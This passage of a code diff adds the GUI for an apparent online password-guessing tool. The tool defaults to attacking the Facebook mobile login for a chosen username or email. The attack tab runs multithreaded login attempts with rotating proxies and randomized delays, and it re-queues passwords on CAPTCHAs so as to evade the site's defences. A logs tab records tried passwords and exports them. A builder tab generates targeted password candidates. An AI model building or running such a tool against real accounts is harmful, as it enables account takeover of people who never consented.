fg_color="transparent") + row1.pack(fill="x", padx=12, pady=(10, 4)) + + ctk.CTkLabel(row1, text="Target URL:", + font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=100, anchor="w").pack(side="left") + + self.url_entry = ctk.CTkEntry( + row1, placeholder_text=_FB_LOGIN_URL, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + width=480) + self.url_entry.insert(0, _FB_LOGIN_URL) + self.url_entry.pack(side="left", padx=(0, 12)) + CyberpunkTheme.apply_focus_glow(self.url_entry) + + ctk.CTkLabel(row1, text="Form fields user:", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4)) + self.field_user_entry = ctk.CTkEntry( + row1, width=80, placeholder_text="email", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10)) + self.field_user_entry.insert(0, "email") + self.field_user_entry.pack(side="left", padx=(0, 8)) + + ctk.CTkLabel(row1, text="pass:", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4)) + self.field_pass_entry = ctk.CTkEntry( + row1, width=80, placeholder_text="pass", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10)) + self.field_pass_entry.insert(0, "pass") + self.field_pass_entry.pack(side="left") + + # Row 2 — username/email + counters + row2 = ctk.CTkFrame(bar, fg_color="transparent") + row2.pack(fill="x", padx=12, pady=(0, 10)) + + ctk.CTkLabel(row2, text="Username / Email:", + font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=140, anchor="w").pack(side="left") + + self.email_entry = ctk.CTkEntry( + row2, placeholder_text="target@example.com", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310) + self.email_entry.pack(side="left", padx=(0, 20)) + CyberpunkTheme.apply_focus_glow(self.email_entry) + + self.pwd_count_label = ctk.CTkLabel( + row2, text="Wordlist: 0", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) + self.pwd_count_label.pack(side="left", padx=(0, 18)) + + self.proxy_count_label = ctk.CTkLabel( + row2, text="Proxies: 0", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) + self.proxy_count_label.pack(side="left", padx=(0, 18)) + + self.captcha_label = ctk.CTkLabel( + row2, text="CAPTCHAs: 0", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) + self.captcha_label.pack(side="left") + + # ── Speed panel ─────────────────────────────────────────────────────────── + + def _build_speed_panel(self): + panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + panel.pack(fill="x", padx=15, pady=(0, 8)) + + hdr = ctk.CTkFrame(panel, fg_color="transparent") + hdr.pack(fill="x", padx=12, pady=(8, 4)) + ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY", + font=("Consolas", 11, "bold"), + text_color=CyberpunkTheme.TERTIARY).pack(side="left") + + inner = ctk.CTkFrame(panel, fg_color="transparent") + inner.pack(fill="x", padx=12, pady=(0, 10)) + + def _slider_group(parent, label, var, from_, to, steps, default, unit=""): + ctk.CTkLabel(parent, text=label, font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=160, anchor="w").pack(side="left") + sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps, + variable=var, width=170, + fg_color=CyberpunkTheme.BG_MEDIUM, + progress_color=CyberpunkTheme.PRIMARY, + button_color=CyberpunkTheme.PRIMARY, + button_hover_color=CyberpunkTheme.SECONDARY) + sl.pack(side="left", padx=(0, 6)) + val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"), + text_color=CyberpunkTheme.PRIMARY, width=48) + val_lbl.configure(text=f"{int(default)}{unit}") + val_lbl.pack(side="left", padx=(0, 24)) + sl.configure(command=lambda v, l=val_lbl, u=unit: + l.configure(text=f"{int(float(v))}{u}")) + return sl + + row1 = ctk.CTkFrame(inner, fg_color="transparent") + row1.pack(fill="x", pady=(0, 6)) + + self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS) + _slider_group(row1, "Workers (threads):", self.workers_var, + 1, 30, 29, MAX_CONCURRENT_WORKERS, "×") + + self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY) + _slider_group(row1, "Proxy rotation (req):", self.rotation_var, + 1, 20, 19, PROXY_ROTATION_EVERY, "req") + + row2 = ctk.CTkFrame(inner, fg_color="transparent") + row2.pack(fill="x") + + self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN) + _slider_group(row2, "Delay min (s):", self.delay_min_var, + 0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s") + + self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX) + _slider_group(row2, "Delay max (s):", self.delay_max_var, + 0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s") + + ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=90, anchor="w").pack(side="left") + self.timeout_entry = ctk.CTkEntry( + row2, width=64, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12)) + self.timeout_entry.insert(0, str(REQUEST_TIMEOUT)) + self.timeout_entry.pack(side="left") + CyberpunkTheme.apply_focus_glow(self.timeout_entry) + + # ── Stats panel ─────────────────────────────────────────────────────────── + + def _build_stats_panel(self): + stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + stats.pack(fill="x", padx=15, pady=(0, 8)) + inner = ctk.CTkFrame(stats, fg_color="transparent") + inner.pack(fill="x", padx=12, pady=8) + + def _stat(text, color): + l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"), + text_color=color) + l.pack(side="left", padx=(0, 22)) + return l + + self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY) + self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS) + self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR) + self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY) + self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY) + self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM) + + row2 = ctk.CTkFrame(stats, fg_color="transparent") + row2.pack(fill="x", padx=12, pady=(0, 6)) + ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5)) + self.current_pwd_label = ctk.CTkLabel( + row2, text="—", font=("Consolas", 10), + text_color=CyberpunkTheme.PRIMARY) + self.current_pwd_label.pack(side="left", padx=(0, 14)) + ctk.CTkLabel(row2, text="via", font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5)) + self.current_proxy_label = ctk.CTkLabel( + row2, text="—", font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM) + self.current_proxy_label.pack(side="left") + + def _build_progress_bar(self): + pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + pf.pack(fill="x", padx=15, pady=(0, 8)) + inner = ctk.CTkFrame(pf, fg_color="transparent") + inner.pack(fill="x", padx=12, pady=8) + self.progress_bar = ctk.CTkProgressBar( + inner, fg_color=CyberpunkTheme.BG_DARK, + progress_color=CyberpunkTheme.PRIMARY, + height=18, corner_radius=4) + self.progress_bar.pack(fill="x", expand=True) + self.progress_bar.set(0) + self.progress_text = ctk.CTkLabel( + inner, text="0.0% (0 / 0)", + font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.PRIMARY) + self.progress_text.pack(pady=(3, 0)) + + def _build_control_buttons(self): + bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, + border_width=1, border_color=CyberpunkTheme.BORDER) + bf.pack(fill="x", padx=15, pady=(0, 8)) + inner = ctk.CTkFrame(bf, fg_color="transparent") + inner.pack(padx=12, pady=10) + + self.start_btn = CyberpunkTheme.create_neon_button( + inner, text="▶ START", command=self._on_start, + color=CyberpunkTheme.SUCCESS, + width=160, height=40, font=("Consolas", 14, "bold")) + self.start_btn.pack(side="left", padx=(0, 12)) + + self.pause_btn = CyberpunkTheme.create_neon_button( + inner, text="⏸ PAUSE", command=self._on_pause, + color=CyberpunkTheme.WARNING, + width=120, height=40, font=("Consolas", 14, "bold")) + self.pause_btn.pack(side="left", padx=(0, 12)) + self.pause_btn.configure(state="disabled") + + self.stop_btn = CyberpunkTheme.create_neon_button( + inner, text="⏹ STOP", command=self._on_stop, + color=CyberpunkTheme.ERROR, + width=120, height=40, font=("Consolas", 14, "bold")) + self.stop_btn.pack(side="left") + self.stop_btn.configure(state="disabled") + + self.state_label = ctk.CTkLabel( + inner, text="◈ IDLE", + font=("Consolas", 15, "bold"), + text_color=CyberpunkTheme.TEXT_DIM, width=160) + self.state_label.pack(side="right", padx=(22, 0)) + + def _build_live_log(self): + ctk.CTkLabel(self, text="> LIVE LOG", + font=("Consolas", 12, "bold"), + text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4)) + self.log_text = ctk.CTkTextbox( + self, fg_color=CyberpunkTheme.BG_DARK, + border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, + font=("Consolas", 11), border_width=1) + self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12)) + self.log_text.insert("end", + "[SYSTEM] Ready.\n" + "[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n" + "[SYSTEM] 2. Enter username/email\n" + "[SYSTEM] 3. Generate wordlist in Password Builder\n" + "[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n" + "[SYSTEM] 5. Press START\n") + self.log_text.configure(state="disabled") + + # ── Speed → orchestrator ───────────────────────────────────────────────── + + def _apply_speed_settings(self): + self.orchestrator.max_workers = max(1, int(self.workers_var.get())) + self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get())) + self.orchestrator.delay_min = float(self.delay_min_var.get()) + self.orchestrator.delay_max = max( + float(self.delay_min_var.get()), float(self.delay_max_var.get())) + try: + self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20") + except ValueError: + self.orchestrator.request_timeout = 20 + self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout + + def _build_site_config(self) -> SiteConfig: + url = self.url_entry.get().strip() or _FB_LOGIN_URL + user_field = self.field_user_entry.get().strip() or "email" + pass_field = self.field_pass_entry.get().strip() or "pass" + + if "facebook.com" in url or "fb.com" in url: + from urllib.parse import urlparse + cfg = SiteConfig() + cfg.login_url = url + cfg.username_field = user_field + cfg.password_field = pass_field + return cfg + + # Generic site + cfg = SiteConfig.for_url(url) + cfg.username_field = user_field + cfg.password_field = pass_field + return cfg + + # ── Button handlers ─────────────────────────────────────────────────────── + + def _on_start(self): + username = self.email_entry.get().strip() + if not username: + self._log("ERROR: Enter a target username/email first") + return + + passwords = load_passwords() + if not passwords: + self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab") + return + + if self.proxy_pool.available_count == 0: + self._log("WARNING: No proxies committed — attack will run without proxies") + + self._apply_speed_settings() + site_cfg = self._build_site_config() + self.orchestrator.configure(username, passwords, site_cfg) + self.orchestrator.start() + + self.start_btn.configure(state="disabled") + self.pause_btn.configure(state="normal") + self.stop_btn.configure(state="normal") + + w = self.orchestrator.max_workers + url = site_cfg.login_url + self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers") + self._log(f" Target: {url}") + self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers") + + def _on_pause(self): + if self.orchestrator.is_running: + self.orchestrator.pause() + self.pause_btn.configure(text="▶ RESUME") + self._log("⏸ Attack paused") + self._notify("Attack PAUSED") + elif self.orchestrator.is_paused: + self.orchestrator.resume() + self.pause_btn.configure(text="⏸ PAUSE") + self._log("▶ Attack resumed") + self._notify("Attack RUNNING") + + def _on_stop(self): + self.orchestrator.stop() + self.start_btn.configure(state="normal") + self.pause_btn.configure(state="disabled", text="⏸ PAUSE") + self.stop_btn.configure(state="disabled") + self._log("⏹ Attack stopped") + self._notify("Attack STOPPED") + + # ── Orchestrator callbacks ──────────────────────────────────────────────── + + def _on_stats_update(self, stats: AttackStats): + self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}") + self.success_label.configure(text=f"Found: {stats.successful_attempts}") + self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}") + self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s") + self.workers_label.configure(text=f"Workers: {stats.active_workers}") + + e = int(stats.elapsed_seconds) + self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}") + + self.current_pwd_label.configure(text=stats.current_password or "—") + self.current_proxy_label.configure(text=stats.current_proxy or "—") + + progress = self.orchestrator.progress / 100 + self.progress_bar.set(progress) + total_pw = len(self.orchestrator.passwords) + self.progress_text.configure( + text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})") + + self.pwd_count_label.configure( + text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}") + self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") + self.captcha_label.configure( + text=f"CAPTCHAs: {stats.captchas_hit}", + text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0 + else CyberpunkTheme.TEXT_DIM)) + + if stats.current_password: + self._notify( + f"Trying: {stats.current_password[:24]} · " + f"{stats.attempts_per_second:.1f} r/s · " + f"{stats.active_workers} workers") + + def _on_log_entry(self, entry: dict): + ts = datetime.now().strftime("%H:%M:%S") + icon = "[+]" if entry["result"] == "SUCCESS" else "[-]" + self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}") + + def _on_success(self, password: str, proxy: str, result): + banner = ( + "\n" + "═" * 56 + "\n" + " *** ACCESS GRANTED — CREDENTIALS FOUND ***\n" + f" PASSWORD : {password}\n" + f" PROXY : {proxy}\n" + "═" * 56 + "\n" + ) + self._log(banner) + self.log_text.configure(border_color=CyberpunkTheme.SUCCESS) + self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER)) + self._notify(f"*** PASSWORD FOUND: {password} ***") + + def _on_captcha_hit(self, proxy: str): + self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued") + self.log_text.configure(border_color=CyberpunkTheme.WARNING) + self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER)) + + def _on_state_change(self, state: AttackState): + colors = { + AttackState.IDLE: CyberpunkTheme.TEXT_DIM, + AttackState.RUNNING: CyberpunkTheme.SUCCESS, + AttackState.PAUSED: CyberpunkTheme.WARNING, + AttackState.STOPPED: CyberpunkTheme.ERROR, + AttackState.COMPLETED: CyberpunkTheme.PRIMARY, + } + self.state_label.configure( + text=f"◈ {state.value.upper()}", + text_color=colors.get(state, CyberpunkTheme.TEXT_DIM)) + if state in (AttackState.COMPLETED, AttackState.STOPPED): + self.start_btn.configure(state="normal") + self.pause_btn.configure(state="disabled", text="⏸ PAUSE") + self.stop_btn.configure(state="disabled") + + # ── Helpers ─────────────────────────────────────────────────────────────── + + def _log(self, message: str): + self.log_text.configure(state="normal") + self.log_text.insert("end", message + "\n") + self.log_text.see("end") + self.log_text.configure(state="disabled") + + def _notify(self, msg: str): + if self.status_callback: + self.status_callback(msg) + + def _update_periodic(self): + try: + pwd_count = count_lines(PASSWORDS_FILE) + self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}") + except Exception: + pass + self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") + self.after(2000, self._update_periodic) diff --git a/src/gui/logs_tab.py b/src/gui/logs_tab.py new file mode 100644 index 0000000..b694a16 --- /dev/null +++ b/src/gui/logs_tab.py @@ -0,0 +1,221 @@ +""" +Logs Tab — view attempt history, filter, and export. +""" +import csv +import logging +from datetime import datetime +from typing import List, Optional +import customtkinter as ctk +from src.gui.theme import CyberpunkTheme +from src.utils.logger import AttemptLogger +from config import ATTEMPT_LOG_FILE + +logger = logging.getLogger(__name__) + + +class LogsTab(ctk.CTkFrame): + """Tab for viewing and exporting attempt logs.""" + + def __init__(self, parent, logger_instance: AttemptLogger): + super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) + self.attempt_logger = logger_instance + self._build_ui() + + def _build_ui(self): + """Build the logs tab UI.""" + # Title + title = ctk.CTkLabel( + self, text="[ ATTEMPT LOGS ]", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY, + ) + title.pack(pady=(15, 5)) + + subtitle = ctk.CTkLabel( + self, text="Full history of all login attempts with timestamps and proxy details", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + subtitle.pack(pady=(0, 15)) + + # === Controls === + controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) + controls_frame.pack(fill="x", padx=15, pady=(0, 10)) + + inner_controls = ctk.CTkFrame(controls_frame, fg_color="transparent") + inner_controls.pack(fill="x", padx=15, pady=10) + + # Stats + self.total_attempts_label = ctk.CTkLabel( + inner_controls, text="Total: 0", + font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.TEXT_PRIMARY, + ) + self.total_attempts_label.pack(side="left", padx=(0, 20)) + + self.success_count_label = ctk.CTkLabel( + inner_controls, text="Success: 0", + font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.SUCCESS, + ) + self.success_count_label.pack(side="left", padx=(0, 20)) + + self.fail_count_label = ctk.CTkLabel( + inner_controls, text="Failed: 0", + font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.ERROR, + ) + self.fail_count_label.pack(side="left", padx=(0, 20)) + + # Filter buttons + ctk.CTkLabel( + inner_controls, text="Filter:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(20, 5)) + + self.filter_var = ctk.StringVar(value="ALL") + filter_menu = ctk.CTkOptionMenu( + inner_controls, values=["ALL", "SUCCESS", "FAILED"], + variable=self.filter_var, + command=self._on_filter_change, + fg_color=CyberpunkTheme.BG_DARK, + button_color=CyberpunkTheme.TERTIARY, + button_hover_color=CyberpunkTheme.PRIMARY, + text_color=CyberpunkTheme.TEXT_PRIMARY, + dropdown_fg_color=CyberpunkTheme.BG_MEDIUM, + dropdown_hover_color=CyberpunkTheme.TERTIARY, + dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY, + font=("Consolas", 11), + width=120, + ) + filter_menu.pack(side="left", padx=(0, 20)) + + # Refresh button + self.refresh_btn = CyberpunkTheme.create_neon_button( + inner_controls, text="🔄 REFRESH", + command=self._refresh_logs, + color=CyberpunkTheme.TERTIARY, + width=120, height=28, + ) + self.refresh_btn.pack(side="left", padx=(0, 10)) + + # Export button + self.export_btn = CyberpunkTheme.create_neon_button( + inner_controls, text="📥 EXPORT CSV", + command=self._on_export, + color=CyberpunkTheme.PRIMARY, + width=140, height=28, + ) + self.export_btn.pack(side="left") + + # === Log Table Header === + header_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=28) + header_frame.pack(fill="x", padx=15) + + cols = ["Timestamp", "Password", "Proxy IP", "Port", "Protocol", "Status", "Response", "Message"] + widths = [160, 180, 150, 60, 70, 80, 80, 200] + for col, w in zip(cols, widths): + ctk.CTkLabel( + header_frame, text=col, + font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.TEXT_SECONDARY, + width=w, + ).pack(side="left", padx=3) + + # === Scrollable Log List === + self.log_list_frame = ctk.CTkScrollableFrame( + self, fg_color=CyberpunkTheme.BG_MEDIUM, + border_width=1, border_color=CyberpunkTheme.BORDER, + ) + self.log_list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 15)) + + self.log_rows = [] + self._refresh_logs() + self._start_auto_refresh() + + def _on_filter_change(self, choice: str): + """Handle filter dropdown change.""" + self._refresh_logs() + + @staticmethod + def _format_response_ms(value) -> str: + if value in (None, ""): + return "—" + text = str(value) + return text if text.endswith("ms") else f"{text}ms" + + def _refresh_logs(self): + """Refresh the log display from the logger buffer.""" + # Clear existing rows + for widget in self.log_list_frame.winfo_children(): + widget.destroy() + self.log_rows = [] + + # Get filtered logs + entries = self.attempt_logger.get_recent(500) + filter_val = self.filter_var.get() + + if filter_val != "ALL": + entries = [e for e in entries if e["result"] == filter_val] + + # Update stats + stats = self.attempt_logger.get_stats() + self.total_attempts_label.configure(text=f"Total: {stats['total']}") + self.success_count_label.configure(text=f"Success: {stats['successes']}") + self.fail_count_label.configure(text=f"Failed: {stats['failures']}") + + # Add rows + for entry in reversed(entries): # Most recent first + row = ctk.CTkFrame(self.log_list_frame, fg_color="transparent", height=22) + row.pack(fill="x") + + is_success = entry["result"] == "SUCCESS" + status_color = CyberpunkTheme.SUCCESS if is_success else CyberpunkTheme.ERROR + + values = [ + (entry.get("timestamp", "")[:19], CyberpunkTheme.TEXT_DIM, 160), + (entry.get("password", "")[:30], CyberpunkTheme.TEXT_PRIMARY, 180), + (entry.get("proxy_ip", ""), CyberpunkTheme.TEXT_SECONDARY, 150), + (str(entry.get("proxy_port", "")), CyberpunkTheme.TEXT_DIM, 60), + (entry.get("proxy_protocol", "").upper(), CyberpunkTheme.TEXT_DIM, 70), + (entry.get("result", ""), status_color, 80), + (self._format_response_ms(entry.get("response_time_ms", "")), CyberpunkTheme.TEXT_DIM, 80), + (entry.get("message", "")[:40], CyberpunkTheme.TEXT_SECONDARY, 200), + ] + + for text, color, width in values: + ctk.CTkLabel( + row, text=text, font=("Consolas", 10), + text_color=color, width=width, anchor="w", + ).pack(side="left", padx=3) + + def _start_auto_refresh(self): + """Auto-refresh logs every 3 seconds while attack is active.""" + if self.attempt_logger.buffer: + self._refresh_logs() + self.after(3000, self._start_auto_refresh) + + def _on_export(self): + """Export logs to a CSV file.""" + from tkinter import filedialog, messagebox + filename = filedialog.asksaveasfilename( + title="Export Logs", + defaultextension=".csv", + filetypes=[("CSV files", "*.csv"), ("All files", "*.*")], + initialfile=f"attempt_log_{datetime.now().strftime('%Y%m%d_%H%M%S')}.csv", + ) + if not filename: + return + + try: + entries = self.attempt_logger.get_recent(10000) + if not entries: + messagebox.showinfo("Export", "No log entries to export.") + return + + with open(filename, "w", newline="") as f: + if entries: + writer = csv.DictWriter(f, fieldnames=entries[0].keys()) + writer.writeheader() + writer.writerows(entries) + + messagebox.showinfo("Export", f"Exported {len(entries)} entries to:\n{filename}") + except Exception as e: + messagebox.showerror("Export Error", str(e)) diff --git a/src/gui/password_builder_tab.py b/src/gui/password_builder_tab.py new file mode 100644 index 0000000..05b5745 --- /dev/null +++ b/src/gui/password_builder_tab.py @@ -0,0 +1,657 @@ +""" +Password Builder Tab — Crush-style password generation UI. +Configure fragments, rules, patterns, and generate targeted password candidates. +""" +import logging +import threading +from typing import List, Optional +import customtkinter as ctk +from src.gui.theme import CyberpunkTheme +from src.engine.password_generator import PasswordGenerator, GenerationConfig +from src.utils.file_io import save_passwords, count_lines +from config import PASSWORDS_FILE + +logger = logging.getLogger(__name__) + + +class PasswordBuilderTab(ctk.CTkFrame): + """Tab for configuring and generating password candidates.""" + + def __init__(self, parent, status_callback=None): + super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) + self.generator = PasswordGenerator() + self.generated_count = 0 + self.status_callback = status_callback + self._stats_after_id = None + self._estimate_after_id = None + self._build_ui() + + def _build_ui(self): + """Build the complete password builder UI.""" + # Title + title = ctk.CTkLabel( + self, text="[ PASSWORD BUILDER ]", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY, + ) + title.pack(pady=(15, 5)) + + subtitle = ctk.CTkLabel( + self, text="Configure fragments, rules, and patterns to generate targeted password candidates", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + subtitle.pack(pady=(0, 15)) + + # Main content area (scrollable) + self.content = ctk.CTkScrollableFrame( + self, fg_color=CyberpunkTheme.BG_MEDIUM, + border_width=1, border_color=CyberpunkTheme.BORDER, + ) + self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10)) + + # === SECTION 1: Known Fragments === + CyberpunkTheme.create_section_header(self.content, "> KNOWN FRAGMENTS") + frag_frame = ctk.CTkFrame(self.content, fg_color="transparent") + frag_frame.pack(fill="x", padx=10, pady=5) + + frag_label = ctk.CTkLabel( + frag_frame, text="Enter any letters, parts, or fragments you remember:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + frag_label.pack(anchor="w") + + self.fragments_entry = ctk.CTkEntry( + frag_frame, placeholder_text="e.g., a, h, pass, word... (comma separated)", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), + height=35, + ) + self.fragments_entry.pack(fill="x", pady=(5, 0)) + CyberpunkTheme.apply_focus_glow(self.fragments_entry) + + # === SECTION 2: Custom Words === + CyberpunkTheme.create_section_header(self.content, "> CUSTOM WORDS") + words_frame = ctk.CTkFrame(self.content, fg_color="transparent") + words_frame.pack(fill="x", padx=10, pady=5) + + words_label = ctk.CTkLabel( + words_frame, text="Add custom words or phrases (one per line):", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + words_label.pack(anchor="w") + + self.words_text = ctk.CTkTextbox( + words_frame, height=80, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.words_text.pack(fill="x", pady=(5, 0)) + + # === SECTION 3: Number Options === + CyberpunkTheme.create_section_header(self.content, "> NUMBER OPTIONS") + num_frame = ctk.CTkFrame(self.content, fg_color="transparent") + num_frame.pack(fill="x", padx=10, pady=5) + + # Row 1 + row1 = ctk.CTkFrame(num_frame, fg_color="transparent") + row1.pack(fill="x") + + self.append_nums_var = ctk.BooleanVar(value=True) + ctk.CTkCheckBox( + row1, text="Append numbers", variable=self.append_nums_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.prepend_nums_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row1, text="Prepend numbers", variable=self.prepend_nums_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.use_years_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row1, text="Include years", variable=self.use_years_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left") + + # Row 2: Number range + row2 = ctk.CTkFrame(num_frame, fg_color="transparent") + row2.pack(fill="x", pady=(5, 0)) + + ctk.CTkLabel( + row2, text="Range:", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.num_start_entry = ctk.CTkEntry( + row2, width=60, placeholder_text="0", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.num_start_entry.insert(0, "0") + self.num_start_entry.pack(side="left", padx=(0, 5)) + + ctk.CTkLabel( + row2, text="to", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_DIM, + ).pack(side="left", padx=(0, 5)) + + self.num_end_entry = ctk.CTkEntry( + row2, width=80, placeholder_text="9999", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.num_end_entry.insert(0, "9999") + self.num_end_entry.pack(side="left") + + # === SECTION 4: Symbol Options === + CyberpunkTheme.create_section_header(self.content, "> SYMBOL OPTIONS") + sym_frame = ctk.CTkFrame(self.content, fg_color="transparent") + sym_frame.pack(fill="x", padx=10, pady=5) + + row_s1 = ctk.CTkFrame(sym_frame, fg_color="transparent") + row_s1.pack(fill="x") + + self.append_sym_var = ctk.BooleanVar(value=True) + ctk.CTkCheckBox( + row_s1, text="Append symbols", variable=self.append_sym_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.prepend_sym_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_s1, text="Prepend symbols", variable=self.prepend_sym_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + self.sym_between_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_s1, text="Symbols between", variable=self.sym_between_var, + font=("Consolas", 11), checkbox_width=20, checkbox_height=20, + ).pack(side="left") + + row_s2 = ctk.CTkFrame(sym_frame, fg_color="transparent") + row_s2.pack(fill="x", pady=(5, 0)) + + ctk.CTkLabel( + row_s2, text="Symbols:", font=("Consolas", 11), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.symbols_entry = ctk.CTkEntry( + row_s2, 